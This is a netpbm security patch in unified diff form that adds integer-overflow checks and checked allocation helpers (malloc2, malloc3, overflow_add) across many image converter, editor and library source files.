--- netpbm-10.47.04/converter/ppm/ppmtompeg/parallel.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/ppm/ppmtompeg/parallel.c	2009-10-21 15:09:33.000000000 +0200
@@ -2161,7 +2161,9 @@ DecodeServer(int          const numInput
     const char * error;
 
     /* should keep list of port numbers to notify when frames become ready */
-
+  
+    overflow2(numInputFiles, sizeof(int));
+    overflow2(numInputFiles, sizeof(boolean));
     ready = (boolean *) calloc(numInputFiles, sizeof(boolean));
     waitMachine = (int *) calloc(numInputFiles, sizeof(int));
     waitPort = (int *) malloc(numMachines*sizeof(int));
diff -up netpbm-10.47.04/converter/ppm/ppmtompeg/psearch.c.security netpbm-10.47.04/converter/ppm/ppmtompeg/psearch.c
--- netpbm-10.47.04/converter/ppm/ppmtompeg/psearch.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/ppm/ppmtompeg/psearch.c	2009-10-21 15:09:33.000000000 +0200
@@ -216,7 +216,14 @@ SetSearchRange(int const pixelsP, int co
         int const max_search = max(searchRangeP, searchRangeB);
 
         int index;
-    
+
+        overflow2(searchRangeP, 2);
+        overflow2(searchRangeB, 2);
+        overflow_add(searchRangeP*2, 3);
+        overflow_add(searchRangeB*2, 3);
+        overflow2(2*searchRangeB+3, sizeof(int));
+        overflow2(2*searchRangeP+3, sizeof(int));
+
         pmvHistogram = (int **) malloc((2*searchRangeP+3)*sizeof(int *));
         bbmvHistogram = (int **) malloc((2*searchRangeB+3)*sizeof(int *));
         bfmvHistogram = (int **) malloc((2*searchRangeB+3)*sizeof(int *));
@@ -800,6 +807,9 @@ ShowPMVHistogram(fpointer)
     int *columnTotals;
     int rowTotal;
 
+    overflow2(searchRangeP, 2);
+    overflow_add(searchRangeP*2,  3);
+    overflow2(searchRangeP*2+3, sizeof(int));
     columnTotals = (int *) calloc(2*searchRangeP+3, sizeof(int));
 
 #ifdef COMPLETE_DISPLAY
@@ -847,6 +857,9 @@ ShowBBMVHistogram(fpointer)
 
     fprintf(fpointer, "B-frame Backwards:\n");
 
+    overflow2(searchRangeB, 2);
+    overflow_add(searchRangeB*2,  3);
+    overflow2(searchRangeB*2+3, sizeof(int));
     columnTotals = (int *) calloc(2*searchRangeB+3, sizeof(int));
 
 #ifdef COMPLETE_DISPLAY
@@ -894,6 +907,9 @@ ShowBFMVHistogram(fpointer)
 
     fprintf(fpointer, "B-frame Forwards:\n");
 
+    overflow2(searchRangeB, 2);
+    overflow_add(searchRangeB*2,  3);
+    overflow2(searchRangeB*2+3, sizeof(int));
     columnTotals = (int *) calloc(2*searchRangeB+3, sizeof(int));
 
 #ifdef COMPLETE_DISPLAY
diff -up netpbm-10.47.04/converter/ppm/ppmtompeg/rgbtoycc.c.security netpbm-10.47.04/converter/ppm/ppmtompeg/rgbtoycc.c
--- netpbm-10.47.04/converter/ppm/ppmtompeg/rgbtoycc.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/ppm/ppmtompeg/rgbtoycc.c	2009-10-21 15:09:33.000000000 +0200
@@ -72,6 +72,8 @@ compute_mult_tables(const pixval maxval)
         } 
         table_maxval = maxval;
 
+	overflow_add(table_maxval, 1);
+	overflow2(table_maxval+1, sizeof(float));
         mult299   = malloc((table_maxval+1)*sizeof(float));
         mult587   = malloc((table_maxval+1)*sizeof(float));
         mult114   = malloc((table_maxval+1)*sizeof(float));
diff -up netpbm-10.47.04/converter/ppm/ppmtopcx.c.security netpbm-10.47.04/converter/ppm/ppmtopcx.c
--- netpbm-10.47.04/converter/ppm/ppmtopcx.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/ppm/ppmtopcx.c	2009-10-21 15:09:33.000000000 +0200
@@ -419,6 +419,8 @@ ppmTo16ColorPcx(pixel **            cons
             else                   Planes = 1;
         }
     }
+    overflow2(BitsPerPixel, cols);
+    overflow_add(BitsPerPixel * cols, 7);
     BytesPerLine = ((cols * BitsPerPixel) + 7) / 8;
     MALLOCARRAY_NOFAIL(indexRow, cols);
     MALLOCARRAY_NOFAIL(planesrow, BytesPerLine);
diff -up netpbm-10.47.04/converter/ppm/ppmtopict.c.security netpbm-10.47.04/converter/ppm/ppmtopict.c
--- netpbm-10.47.04/converter/ppm/ppmtopict.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/ppm/ppmtopict.c	2009-10-21 15:09:33.000000000 +0200
@@ -245,6 +245,8 @@ char *argv[];
 	putShort(stdout, 0);			/* mode */
 
 	/* Finally, write out the data. */
+	overflow_add(cols/MAX_COUNT, 1);
+        overflow_add(cols, cols/MAX_COUNT+1);
 	packed = (char*) malloc((unsigned)(cols+cols/MAX_COUNT+1));
 	oc = 0;
 	for (row = 0; row < rows; row++)
diff -up netpbm-10.47.04/converter/ppm/ppmtopj.c.security netpbm-10.47.04/converter/ppm/ppmtopj.c
--- netpbm-10.47.04/converter/ppm/ppmtopj.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/ppm/ppmtopj.c	2009-10-21 15:09:33.000000000 +0200
@@ -179,6 +179,7 @@ char *argv[];
 	pixels = ppm_readppm( ifp, &cols, &rows, &maxval );
 
 	pm_close( ifp );
+	overflow2(cols,2);
 	obuf = (unsigned char *) pm_allocrow(cols, sizeof(unsigned char));
 	cbuf = (unsigned char *) pm_allocrow(cols * 2, sizeof(unsigned char));
 
diff -up netpbm-10.47.04/converter/ppm/ppmtopjxl.c.security netpbm-10.47.04/converter/ppm/ppmtopjxl.c
--- netpbm-10.47.04/converter/ppm/ppmtopjxl.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/ppm/ppmtopjxl.c	2009-10-21 15:43:31.000000000 +0200
@@ -276,6 +276,8 @@ main(int argc, const char * argv[]) {
         pm_error("image too large; reduce with ppmscale");
     if (maxval > PCL_MAXVAL)
         pm_error("color range too large; reduce with ppmcscale");
+    if (cols < 0 || rows < 0)
+        pm_error("negative size is not possible");
 
     /* Figure out the colormap. */
     pm_message("Computing colormap...");
@@ -296,6 +298,8 @@ main(int argc, const char * argv[]) {
         case 0: /* direct mode (no palette) */
             bpp = bitsperpixel(maxval); /* bits per pixel */
             bpg = bpp; bpb = bpp;
+	    overflow2(bpp, 3);
+	    overflow_add(bpp*3, 7);
             bpp = (bpp*3+7)>>3;     /* bytes per pixel now */
             bpr = (bpp<<3)-bpg-bpb; 
             bpp *= cols;            /* bytes per row now */
@@ -305,9 +309,13 @@ main(int argc, const char * argv[]) {
         case 3: case 7: pclindex++;
         default:
             bpp = 8/pclindex;
+	    overflow_add(cols, bpp);
+	    if(bpp == 0)
+		pm_error("assert: no bpp");
             bpp = (cols+bpp-1)/bpp;      /* bytes per row */
         }
     }
+    overflow2(bpp,2);
     inrow = (char *)malloc((unsigned)bpp);
     outrow = (char *)malloc((unsigned)bpp*2);
     runcnt = (signed char *)malloc((unsigned)bpp);
diff -up netpbm-10.47.04/converter/ppm/ppmtowinicon.c.security netpbm-10.47.04/converter/ppm/ppmtowinicon.c
--- netpbm-10.47.04/converter/ppm/ppmtowinicon.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/ppm/ppmtowinicon.c	2009-10-21 15:44:54.000000000 +0200
@@ -12,6 +12,7 @@
 
 #include <math.h>
 #include <string.h>
+#include <stdlib.h>
 
 #include "pm_c_util.h"
 #include "winico.h"
@@ -219,6 +220,7 @@ createAndBitmap (gray ** const ba, int c
    MALLOCARRAY_NOFAIL(rowData, rows);
    icBitmap->xBytes = xBytes;
    icBitmap->data   = rowData;
+   overflow2(xBytes, rows);
    icBitmap->size   = xBytes * rows;
    for (y=0;y<rows;y++) {
       u1 * row;
@@ -347,6 +349,7 @@ create4Bitmap (pixel ** const pa, int co
    MALLOCARRAY_NOFAIL(rowData, rows);
    icBitmap->xBytes = xBytes;
    icBitmap->data   = rowData;
+   overflow2(xBytes, rows);
    icBitmap->size   = xBytes * rows;
 
    for (y=0;y<rows;y++) {
@@ -407,6 +410,7 @@ create8Bitmap (pixel ** const pa, int co
    MALLOCARRAY_NOFAIL(rowData, rows);
    icBitmap->xBytes = xBytes;
    icBitmap->data   = rowData;
+   overflow2(xBytes, rows);
    icBitmap->size   = xBytes * rows;
 
    for (y=0;y<rows;y++) {
@@ -714,6 +718,10 @@ addEntryToIcon(MS_Ico       const MSIcon
     entry->bitcount      = bpp;
     entry->ih            = createInfoHeader(entry, xorBitmap, andBitmap);
     entry->colors        = palette->colors;
+    overflow2(4, entry->color_count);
+    overflow_add(xorBitmap->size, andBitmap->size);
+    overflow_add(xorBitmap->size + andBitmap->size, 40);
+    overflow_add(xorBitmap->size + andBitmap->size + 40, 4 * entry->color_count);
     entry->size_in_bytes = 
         xorBitmap->size + andBitmap->size + 40 + (4 * entry->color_count);
     if (verbose) 
diff -up netpbm-10.47.04/converter/ppm/ppmtoxpm.c.security netpbm-10.47.04/converter/ppm/ppmtoxpm.c
--- netpbm-10.47.04/converter/ppm/ppmtoxpm.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/ppm/ppmtoxpm.c	2009-10-21 15:09:33.000000000 +0200
@@ -197,6 +197,7 @@ genNumstr(unsigned int const input, int 
     unsigned int i;
 
     /* Allocate memory for printed number.  Abort if error. */
+    overflow_add(digits, 1);
     if (!(str = (char *) malloc(digits + 1)))
         pm_error("out of memory");
 
@@ -314,6 +315,7 @@ genCmap(colorhist_vector const chv, 
     unsigned int charsPerPixel;
     unsigned int xpmMaxval;
     
+    if (includeTransparent) overflow_add(ncolors, 1);
     MALLOCARRAY(cmap, cmapSize);
     if (cmapP == NULL)
         pm_error("Out of memory allocating %u bytes for a color map.",
diff -up netpbm-10.47.04/converter/ppm/qrttoppm.c.security netpbm-10.47.04/converter/ppm/qrttoppm.c
--- netpbm-10.47.04/converter/ppm/qrttoppm.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/ppm/qrttoppm.c	2009-10-21 15:09:33.000000000 +0200
@@ -46,7 +46,7 @@ main( argc, argv )
 
     ppm_writeppminit( stdout, cols, rows, maxval, 0 );
     pixelrow = ppm_allocrow( cols );
-    buf = (unsigned char *) malloc( 3 * cols );
+    buf = (unsigned char *) malloc2( 3 , cols );
     if ( buf == (unsigned char *) 0 )
 	pm_error( "out of memory" );
 
diff -up netpbm-10.47.04/converter/ppm/sldtoppm.c.security netpbm-10.47.04/converter/ppm/sldtoppm.c
--- netpbm-10.47.04/converter/ppm/sldtoppm.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/ppm/sldtoppm.c	2009-10-21 15:44:11.000000000 +0200
@@ -455,6 +455,8 @@ slider(slvecfn   slvec,
     
     /* Allocate image buffer and clear it to black. */
     
+    overflow_add(ixdots,1);
+    overflow_add(iydots,1);
     pixels = ppm_allocarray(pixcols = ixdots + 1, pixrows = iydots + 1);
     PPM_ASSIGN(rgbcolor, 0, 0, 0);
     ppmd_filledrectangle(pixels, pixcols, pixrows, pixmaxval, 0, 0,
diff -up netpbm-10.47.04/converter/ppm/ximtoppm.c.security netpbm-10.47.04/converter/ppm/ximtoppm.c
--- netpbm-10.47.04/converter/ppm/ximtoppm.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/ppm/ximtoppm.c	2009-10-21 15:09:33.000000000 +0200
@@ -117,6 +117,7 @@ ReadXimHeader(FILE *     const in_fp,
     header->bits_channel = atoi(a_head.bits_per_channel);
     header->alpha_flag = atoi(a_head.alpha_channel);
     if (strlen(a_head.author)) {
+    	overflow_add(strlen(a_head.author),1);
         if (!(header->author = calloc((unsigned int)strlen(a_head.author)+1,
                 1))) {
             pm_message("ReadXimHeader: can't calloc author string" );
@@ -126,6 +127,7 @@ ReadXimHeader(FILE *     const in_fp,
         strncpy(header->author, a_head.author, strlen(a_head.author));
     }
     if (strlen(a_head.date)) {
+        overflow_add(strlen(a_head.date),1);
         if (!(header->date =calloc((unsigned int)strlen(a_head.date)+1,1))){
             pm_message("ReadXimHeader: can't calloc date string" );
             return(0);
@@ -134,6 +136,7 @@ ReadXimHeader(FILE *     const in_fp,
         strncpy(header->date, a_head.date, strlen(a_head.date));
     }
     if (strlen(a_head.program)) {
+        overflow_add(strlen(a_head.program),1);
         if (!(header->program = calloc(
                     (unsigned int)strlen(a_head.program) + 1, 1))) {
             pm_message("ReadXimHeader: can't calloc program string" );
@@ -160,6 +163,7 @@ ReadXimHeader(FILE *     const in_fp,
     if (header->nchannels == 3 && header->bits_channel == 8)
         header->ncolors = 0;
     else if (header->nchannels == 1 && header->bits_channel == 8) {
+	overflow2(header->ncolors, sizeof(Color));
         header->colors = (Color *)calloc((unsigned int)header->ncolors,
                 sizeof(Color));
         if (header->colors == NULL) {
diff -up netpbm-10.47.04/converter/ppm/xpmtoppm.c.security netpbm-10.47.04/converter/ppm/xpmtoppm.c
--- netpbm-10.47.04/converter/ppm/xpmtoppm.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/ppm/xpmtoppm.c	2009-10-21 15:09:33.000000000 +0200
@@ -701,6 +701,7 @@ ReadXPMFile(FILE * const stream, int * c
                        &ncolors, colorsP, &ptab);
         *transparentP = -1;  /* No transparency in version 1 */
     }
+    overflow2(*widthP, *heightP);
     totalpixels = *widthP * *heightP;
     MALLOCARRAY(*dataP, totalpixels);
     if (*dataP == NULL)
diff -up netpbm-10.47.04/converter/ppm/yuvtoppm.c.security netpbm-10.47.04/converter/ppm/yuvtoppm.c
--- netpbm-10.47.04/converter/ppm/yuvtoppm.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/ppm/yuvtoppm.c	2009-10-21 15:09:33.000000000 +0200
@@ -72,6 +72,7 @@ main(argc, argv)
 
 	ppm_writeppminit(stdout, cols, rows, (pixval) 255, 0);
 	pixrow = ppm_allocrow(cols);
+    overflow_add(cols, 1);
     MALLOCARRAY(yuvbuf, (cols+1)/2);
     if (yuvbuf == NULL)
         pm_error("Unable to allocate YUV buffer for %d columns.", cols);
diff -up netpbm-10.47.04/editor/pamcut.c.security netpbm-10.47.04/editor/pamcut.c
--- netpbm-10.47.04/editor/pamcut.c.security	2009-10-21 13:38:57.000000000 +0200
+++ netpbm-10.47.04/editor/pamcut.c	2009-10-21 15:29:36.000000000 +0200
@@ -655,6 +655,8 @@ cutOneImage(FILE *             const ifP
 
     outpam = inpam;    /* Initial value -- most fields should be same */
     outpam.file   = ofP;
+    overflow_add(rightcol, 1);
+    overflow_add(bottomrow, 1);
     outpam.width  = rightcol - leftcol + 1;
     outpam.height = bottomrow - toprow + 1;
 
diff -up netpbm-10.47.04/editor/pbmpscale.c.security netpbm-10.47.04/editor/pbmpscale.c
--- netpbm-10.47.04/editor/pbmpscale.c.security	2009-10-21 13:38:57.000000000 +0200
+++ netpbm-10.47.04/editor/pbmpscale.c	2009-10-21 15:27:21.000000000 +0200
@@ -110,6 +110,7 @@ main(int argc, char ** argv) {
     inrow[0] = inrow[1] = inrow[2] = NULL;
     pbm_readpbminit(ifP, &columns, &rows, &format) ;
 
+    overflow2(columns, scale);
     outrow = pbm_allocrow(columns*scale) ;
     MALLOCARRAY(flags, columns);
     if (flags == NULL) 
diff -up netpbm-10.47.04/editor/pbmreduce.c.security netpbm-10.47.04/editor/pbmreduce.c
--- netpbm-10.47.04/editor/pbmreduce.c.security	2009-10-21 13:38:57.000000000 +0200
+++ netpbm-10.47.04/editor/pbmreduce.c	2009-10-21 15:26:13.000000000 +0200
@@ -94,6 +94,7 @@ main( argc, argv )
     if (halftone == QT_FS) {
         unsigned int col;
         /* Initialize Floyd-Steinberg. */
+        overflow_add(newcols, 2);
         MALLOCARRAY(thiserr, newcols + 2);
         MALLOCARRAY(nexterr, newcols + 2);
         if (thiserr == NULL || nexterr == NULL)
diff -up netpbm-10.47.04/editor/pnmgamma.c.security netpbm-10.47.04/editor/pnmgamma.c
--- netpbm-10.47.04/editor/pnmgamma.c.security	2009-10-21 13:38:57.000000000 +0200
+++ netpbm-10.47.04/editor/pnmgamma.c	2009-10-21 15:09:34.000000000 +0200
@@ -586,6 +586,7 @@ createGammaTables(enum transferFunction 
                   xelval **             const btableP) {
 
     /* Allocate space for the tables. */
+    overflow_add(maxval, 1);
     MALLOCARRAY(*rtableP, maxval+1);
     MALLOCARRAY(*gtableP, maxval+1);
     MALLOCARRAY(*btableP, maxval+1);
diff -up netpbm-10.47.04/editor/pnmhisteq.c.security netpbm-10.47.04/editor/pnmhisteq.c
--- netpbm-10.47.04/editor/pnmhisteq.c.security	2009-10-21 13:38:57.000000000 +0200
+++ netpbm-10.47.04/editor/pnmhisteq.c	2009-10-21 15:09:34.000000000 +0200
@@ -103,6 +103,7 @@ computeLuminosityHistogram(xel * const *
     unsigned int pixelCount;
     unsigned int * lumahist;
 
+    overflow_add(maxval, 1);
     MALLOCARRAY(lumahist, maxval + 1);
     if (lumahist == NULL)
         pm_error("Out of storage allocating array for %u histogram elements",
diff -up netpbm-10.47.04/editor/pnmindex.csh.security netpbm-10.47.04/editor/pnmindex.csh
--- netpbm-10.47.04/editor/pnmindex.csh.security	2009-10-21 13:38:57.000000000 +0200
+++ netpbm-10.47.04/editor/pnmindex.csh	2009-10-21 15:09:34.000000000 +0200
@@ -1,5 +1,8 @@
 #!/bin/csh -f
 #
+echo "Unsafe code, needs debugging, do not ship"
+exit 1
+#
 # pnmindex - build a visual index of a bunch of anymaps
 #
 # Copyright (C) 1991 by Jef Poskanzer.
diff -up netpbm-10.47.04/editor/pnmpad.c.security netpbm-10.47.04/editor/pnmpad.c
--- netpbm-10.47.04/editor/pnmpad.c.security	2009-10-21 13:38:57.000000000 +0200
+++ netpbm-10.47.04/editor/pnmpad.c	2009-10-21 15:33:51.000000000 +0200
@@ -527,6 +527,8 @@ main(int argc, const char ** argv) {
 
     computePadSizes(cmdline, cols, rows, &lpad, &rpad, &tpad, &bpad);
 
+    overflow_add(cols, lpad);
+    overflow_add(cols + lpad, rpad);
     newcols = cols + lpad + rpad;
 
     if (PNM_FORMAT_TYPE(format) == PBM_TYPE)
diff -up netpbm-10.47.04/editor/pnmpaste.c.security netpbm-10.47.04/editor/pnmpaste.c
diff -up netpbm-10.47.04/editor/pnmremap.c.security netpbm-10.47.04/editor/pnmremap.c
--- netpbm-10.47.04/editor/pnmremap.c.security	2009-10-21 13:38:57.000000000 +0200
+++ netpbm-10.47.04/editor/pnmremap.c	2009-10-21 15:28:20.000000000 +0200
@@ -408,7 +408,7 @@ initFserr(struct pam *   const pamP,
     unsigned int plane;
 
     unsigned int const fserrSize = pamP->width + 2;
-
+    overflow_add(pamP->width, 2);
     fserrP->width = pamP->width;
 
     MALLOCARRAY(fserrP->thiserr, pamP->depth);
@@ -444,6 +444,7 @@ floydInitRow(struct pam * const pamP, st
 
     int col;
     
+    overflow_add(pamP->width, 2);
     for (col = 0; col < pamP->width + 2; ++col) {
         unsigned int plane;
         for (plane = 0; plane < pamP->depth; ++plane) 
diff -up netpbm-10.47.04/editor/pnmscalefixed.c.security netpbm-10.47.04/editor/pnmscalefixed.c
--- netpbm-10.47.04/editor/pnmscalefixed.c.security	2009-10-21 13:38:57.000000000 +0200
+++ netpbm-10.47.04/editor/pnmscalefixed.c	2009-10-21 15:09:34.000000000 +0200
@@ -211,6 +211,8 @@ compute_output_dimensions(const struct c
                           const int rows, const int cols,
                           int * newrowsP, int * newcolsP) {
 
+    overflow2(rows, cols);
+
     if (cmdline.pixels) {
         if (rows * cols <= cmdline.pixels) {
             *newrowsP = rows;
@@ -262,6 +264,8 @@ compute_output_dimensions(const struct c
 
     if (*newcolsP < 1) *newcolsP = 1;
     if (*newrowsP < 1) *newrowsP = 1;
+    
+    overflow2(*newcolsP, *newrowsP);
 }        
 
 
@@ -443,6 +447,9 @@ main(int argc, char **argv ) {
        unfilled.  We can address that by stretching, whereas the other
        case would require throwing away some of the input.
     */
+    
+    overflow2(newcols, SCALE);
+    overflow2(newrows, SCALE);
     sxscale = SCALE * newcols / cols;
     syscale = SCALE * newrows / rows;
 
diff -up netpbm-10.47.04/editor/pnmshear.c.security netpbm-10.47.04/editor/pnmshear.c
--- netpbm-10.47.04/editor/pnmshear.c.security	2009-10-21 13:38:57.000000000 +0200
+++ netpbm-10.47.04/editor/pnmshear.c	2009-10-21 15:31:26.000000000 +0200
@@ -15,6 +15,7 @@
 #include <assert.h>
 #include <math.h>
 #include <string.h>
+#include <limits.h>
 
 #include "pm_c_util.h"
 #include "ppm.h"
@@ -236,6 +237,11 @@ main(int argc, char * argv[]) {
 
     shearfac = fabs(tan(cmdline.angle));
 
+    if(rows * shearfac >= INT_MAX-1)
+      pm_error("image too large");
+    
+    overflow_add(rows * shearfac, cols+1);
+
     newcols = rows * shearfac + cols + 0.999999;
 
     pnm_writepnminit(stdout, newcols, rows, newmaxval, newformat, 0);
diff -up netpbm-10.47.04/editor/ppmdither.c.security netpbm-10.47.04/editor/ppmdither.c
--- netpbm-10.47.04/editor/ppmdither.c.security	2009-10-21 13:38:57.000000000 +0200
+++ netpbm-10.47.04/editor/ppmdither.c	2009-10-21 15:09:34.000000000 +0200
@@ -111,6 +111,9 @@ dith_matrix(unsigned int const dith_dim)
             (dith_dim * sizeof(int *)) + /* pointers */
             (dith_dim * dith_dim * sizeof(int)); /* data */
 
+        overflow2(dith_dim, sizeof(int *));
+        overflow3(dith_dim, dith_dim, sizeof(int));
+        overflow_add(dith_dim * sizeof(int *), dith_dim * dith_dim * sizeof(int));
         dith_mat = (unsigned int **) malloc(dith_mat_sz);
 
         if (dith_mat == NULL) 
@@ -165,7 +168,8 @@ dith_setup(const unsigned int dith_power
     if (dith_nb < 2) 
         pm_error("too few shades for blue, minimum of 2");
 
-    MALLOCARRAY(*colormapP, dith_nr * dith_ng * dith_nb);
+    overflow2(dith_nr, dith_ng);
+    *colormapP = malloc3(dith_nr * dith_ng, dith_nb,  sizeof(pixel));
     if (*colormapP == NULL) 
         pm_error("Unable to allocate space for the color lookup table "
                  "(%d by %d by %d pixels).", dith_nr, dith_ng, dith_nb);
diff -up netpbm-10.47.04/editor/specialty/pamoil.c.security netpbm-10.47.04/editor/specialty/pamoil.c
--- netpbm-10.47.04/editor/specialty/pamoil.c.security	2009-10-21 13:38:56.000000000 +0200
+++ netpbm-10.47.04/editor/specialty/pamoil.c	2009-10-21 15:09:33.000000000 +0200
@@ -112,6 +112,7 @@ main(int argc, char *argv[] ) {
     tuples = pnm_readpam(ifp, &inpam, PAM_STRUCT_SIZE(tuple_type));
     pm_close(ifp);
 
+    overflow_add(inpam.maxval, 1);
     MALLOCARRAY(hist, inpam.maxval + 1);
     if (hist == NULL)
         pm_error("Unable to allocate memory for histogram.");
diff -up netpbm-10.47.04/generator/pbmpage.c.security netpbm-10.47.04/generator/pbmpage.c
--- netpbm-10.47.04/generator/pbmpage.c.security	2009-10-21 13:38:57.000000000 +0200
+++ netpbm-10.47.04/generator/pbmpage.c	2009-10-21 15:09:34.000000000 +0200
@@ -170,6 +170,9 @@ outputPbm(FILE *        const file,
     /* We round the allocated row space up to a multiple of 8 so the ugly
        fast code below can work.
        */
+    
+    overflow_add(bitmap.Width, 7);
+    
     pbmrow = pbm_allocrow(((bitmap.Width+7)/8)*8);
     
     bitmap_cursor = 0;
diff -up netpbm-10.47.04/generator/pbmtext.c.security netpbm-10.47.04/generator/pbmtext.c
--- netpbm-10.47.04/generator/pbmtext.c.security	2009-10-21 13:38:57.000000000 +0200
+++ netpbm-10.47.04/generator/pbmtext.c	2009-10-21 15:23:15.000000000 +0200
@@ -96,12 +96,14 @@ parseCommandLine(int argc, const char **
         
         for (i = 1; i < argc; ++i) {
             if (i > 1) {
+                overflow_add(totaltextsize, 1);
                 totaltextsize += 1;
                 text = realloc(text, totaltextsize);
                 if (text == NULL)
                     pm_error("out of memory allocating space for input text");
                 strcat(text, " ");
             } 
+            overflow_add(totaltextsize, strlen(argv[i]));
             totaltextsize += strlen(argv[i]);
             text = realloc(text, totaltextsize);
             if (text == NULL)
@@ -711,6 +713,7 @@ getText(const char          cmdline_text
                 pm_error("A line of input text is longer than %u characters."
                          "Cannot process.", sizeof(buf)-1);
             if (lineCount >= maxlines) {
+                overflow2(maxlines, 2);
                 maxlines *= 2;
                 REALLOCARRAY(text_array, maxlines);
                 if (text_array == NULL)
@@ -831,6 +834,7 @@ main(int argc, const char *argv[]) {
             hmargin = fontP->maxwidth;
         } else {
             vmargin = fontP->maxheight;
+	    overflow2(2, fontP->maxwidth);
             hmargin = 2 * fontP->maxwidth;
         }
     }
diff -up netpbm-10.47.04/generator/pgmcrater.c.security netpbm-10.47.04/generator/pgmcrater.c
--- netpbm-10.47.04/generator/pgmcrater.c.security	2009-10-21 13:38:57.000000000 +0200
+++ netpbm-10.47.04/generator/pgmcrater.c	2009-10-21 15:09:34.000000000 +0200
@@ -130,7 +130,7 @@ static void gencraters()
     /* Acquire the elevation array and initialize it to mean
        surface elevation. */
 
-    MALLOCARRAY(aux, SCRX * SCRY);
+    aux = (unsigned short *) malloc3(SCRX, SCRY, sizeof(short));
     if (aux == NULL) 
         pm_error("out of memory allocating elevation array");
 
diff -up netpbm-10.47.04/generator/pgmkernel.c.security netpbm-10.47.04/generator/pgmkernel.c
--- netpbm-10.47.04/generator/pgmkernel.c.security	2009-10-21 13:38:57.000000000 +0200
+++ netpbm-10.47.04/generator/pgmkernel.c	2009-10-21 15:09:34.000000000 +0200
@@ -68,7 +68,7 @@ main ( argc, argv )
     kycenter = (fysize - 1) / 2.0;
     ixsize = fxsize + 0.999;
     iysize = fysize + 0.999;
-    MALLOCARRAY(fkernel, ixsize * iysize);
+    fkernel = (double *) malloc3 (ixsize, iysize, sizeof(double));
     for (i = 0; i < iysize; i++) 
         for (j = 0; j < ixsize; j++) {
             fkernel[i*ixsize+j] = 1.0 / (1.0 + w * sqrt((double)
diff -up netpbm-10.47.04/lib/libpam.c.security netpbm-10.47.04/lib/libpam.c
--- netpbm-10.47.04/lib/libpam.c.security	2009-10-21 13:39:00.000000000 +0200
+++ netpbm-10.47.04/lib/libpam.c	2009-10-21 15:09:34.000000000 +0200
@@ -235,7 +235,8 @@ allocPamRow(const struct pam * const pam
     int const bytesPerTuple = allocationDepth(pamP) * sizeof(sample);
     tuple * tuplerow;
 
-    tuplerow = malloc(pamP->width * (sizeof(tuple *) + bytesPerTuple));
+    overflow_add(sizeof(tuple *), bytesPerTuple);
+    tuplerow = malloc2(pamP->width, sizeof(tuple *) + bytesPerTuple);
                       
     if (tuplerow != NULL) {
         /* Now we initialize the pointers to the individual tuples
diff -up netpbm-10.47.04/lib/libpammap.c.security netpbm-10.47.04/lib/libpammap.c
--- netpbm-10.47.04/lib/libpammap.c.security	2009-10-21 13:39:00.000000000 +0200
+++ netpbm-10.47.04/lib/libpammap.c	2009-10-21 15:09:34.000000000 +0200
@@ -104,6 +104,8 @@ allocTupleIntListItem(struct pam * const
     */
     struct tupleint_list_item * retval;
 
+    overflow2(pamP->depth, sizeof(sample));
+    overflow_add(sizeof(*retval)-sizeof(retval->tupleint.tuple), pamP->depth*sizeof(sample));
     unsigned int const size = 
         sizeof(*retval) - sizeof(retval->tupleint.tuple) 
         + pamP->depth * sizeof(sample);
diff -up netpbm-10.47.04/lib/libpbm1.c.security netpbm-10.47.04/lib/libpbm1.c
--- netpbm-10.47.04/lib/libpbm1.c.security	2009-10-21 13:39:00.000000000 +0200
+++ netpbm-10.47.04/lib/libpbm1.c	2009-10-21 15:09:34.000000000 +0200
@@ -77,6 +77,7 @@ pbm_check(FILE * file, const enum pm_che
         pm_message("pm_filepos passed to pm_check() is %u bytes",
                    sizeof(pm_filepos));
 #endif
+        overflow2(bytes_per_row, rows);
         pm_check(file, check_type, need_raster_size, retval_p);
     }
 }
diff -up netpbm-10.47.04/lib/libpbmvms.c.security netpbm-10.47.04/lib/libpbmvms.c
--- netpbm-10.47.04/lib/libpbmvms.c.security	2009-10-21 13:39:00.000000000 +0200
+++ netpbm-10.47.04/lib/libpbmvms.c	2009-10-21 15:09:34.000000000 +0200
@@ -1,3 +1,5 @@
+#warning "NOT AUDITED"
+
 /***************************************************************************
   This file contains library routines needed to build Netpbm for VMS.
   However, as of 2000.05.26, when these were split out of libpbm1.c
diff -up netpbm-10.47.04/lib/libpm.c.security netpbm-10.47.04/lib/libpm.c
--- netpbm-10.47.04/lib/libpm.c.security	2009-10-21 13:39:00.000000000 +0200
+++ netpbm-10.47.04/lib/libpm.c	2009-10-21 15:09:34.000000000 +0200
@@ -827,4 +827,53 @@ pm_parse_height(const char * const arg) 
 }
 
 
+/*
+ *	Maths wrapping
+ */
+ 
+void __overflow2(int a, int b)
+{
+	if(a < 0 || b < 0)
+		pm_error("object too large");
+	if(b == 0)
+		return;
+	if(a > INT_MAX / b)
+		pm_error("object too large");
+}
+
+void overflow3(int a, int b, int c)
+{
+	overflow2(a,b);
+	overflow2(a*b, c);
+}
+
+void overflow_add(int a, int b)
+{
+	if( a > INT_MAX - b)
+		pm_error("object too large");
+}
+
+void *malloc2(int a, int b)
+{
+	overflow2(a, b);
+	if(a*b == 0)
+		pm_error("Zero byte allocation");
+	return malloc(a*b);
+}
+
+void *malloc3(int a, int b, int c)
+{
+	overflow3(a, b, c);
+	if(a*b*c == 0)
+		pm_error("Zero byte allocation");
+	return malloc(a*b*c);
+}
+
+void *realloc2(void * a, int b, int c)
+{
+	overflow2(b, c);
+	if(b*c == 0)
+		pm_error("Zero byte allocation");
+	return realloc(a, b*c);
+}
 
diff -up netpbm-10.47.04/lib/pm.h.security netpbm-10.47.04/lib/pm.h
